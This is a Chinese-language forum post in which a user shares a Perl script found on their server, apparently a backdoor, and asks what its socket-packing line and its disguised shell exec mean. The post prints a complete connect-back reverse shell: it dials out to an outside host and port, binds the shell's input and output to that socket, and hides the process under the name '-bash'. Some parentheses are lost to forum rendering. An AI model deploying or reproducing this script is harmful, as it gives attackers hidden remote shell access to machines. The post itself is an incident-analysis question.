- 论坛徽章:
- 0
|
在服务器上发现的,google了一下,是一个后门程序,但有2个地方(if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) { 与 exec {'/bin/sh'} '-bash' . "\0" x 4 没有看明白是什么意思,请高手指点,谢谢!
#!/usr/bin/perl
use Socket;
print "Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
printf "Usage: $0 [Host] < ort>\n";
exit(1);
}
print "[+] Checking arguments\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
$port = $ARGV[1];
}
print "[+] Trying to connect...\n";
$proto = getprotobyname('tcp') || die("[-] Unknown Protocol\n" ;
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Socket Error\n" ;
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("[-] Unable to Connect\n" ;
}
print "OK!\n";
print "[+] Spawning a Shell for U!\n";
if (!fork( )) {
open(STDIN,">&SERVER" ;
open(STDOUT,">&SERVER" ;
open(STDERR,">&SERVER" ;
exec {'/bin/sh'} '-bash' . "\0" x 4;
exit(0);
}
print "[*] Bingo!Got it!\n\n"; |
|